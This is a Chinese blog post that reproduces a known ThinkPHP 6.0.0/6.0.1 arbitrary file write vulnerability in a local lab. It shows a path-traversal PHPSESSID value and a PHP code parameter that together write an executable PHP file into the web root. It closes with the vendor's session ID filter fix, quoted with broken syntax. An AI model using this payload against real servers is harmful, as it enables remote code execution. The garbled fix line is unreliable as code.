ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

Bolgzhang

于 2023-12-28 14:36:57 发布

阅读量1.6k

点赞数 27

分类专栏： thinkphp 文章标签：网络安全

本文链接：https://blog.csdn.net/qq_42430287/article/details/135267417

版权

1 篇文章 0 订阅

订阅专栏

漏洞名称

2020年1月10日，ThinkPHP团队发布一个补丁更新，修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件，在特定情况下还可以getshell。

ThinkPHP 6.0.0
ThinkPHP 6.0.1

受害者IP：192.168.10.145
攻击者IP：127.0.0.1

下载PHPstudy_pro，网上一堆自己找吧，链接不推了。
利用PHPStudy_pro对环境进行安装Composer2.5.8

在这里插入图片描述

创建网站，域名think6，会在think6目录下生成.htaccess文件和nginx.htaccess文件，将这两个文件移动到上个目录，也就是www目录下。

在这里插入图片描述

打开composer，composer2.5.8，php>=7.2

在这里插入图片描述

在www目录下面执行这个命令

cd ../
composer create-project topthink/think think6（think6自定义，这个会生成一个文件夹）

将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本，并执行更新命令

在这里插入图片描述

进入tp6目录
cd tp6
composer update

在本地访问网站为6.0.0，则成功搭建。
在这里插入图片描述

构造位置：think6\app\controller\Index.php
需要增加构造的内容：

use think\facade\Session;
session::set('demo',$_GET['c']);

在这里插入图片描述

/think6/app/middleware.php 文件开启session，去掉注释session的//

在这里插入图片描述

构造参数c和phpsessid；

index?c=<?php phpinfo();?>
PHPSESSID=../../../../public/1omg12377.php

在这里插入图片描述

访问public目录下的1omg12377.php文件。

在这里插入图片描述

官方修复建议：对session id 加一个过滤，使用ctype_alnum()

$this->id = is_string($id) && strlen($id) === 32 ctype_alnum（$id） && ? $id : md5(microtime(true) . session_create_id());

关注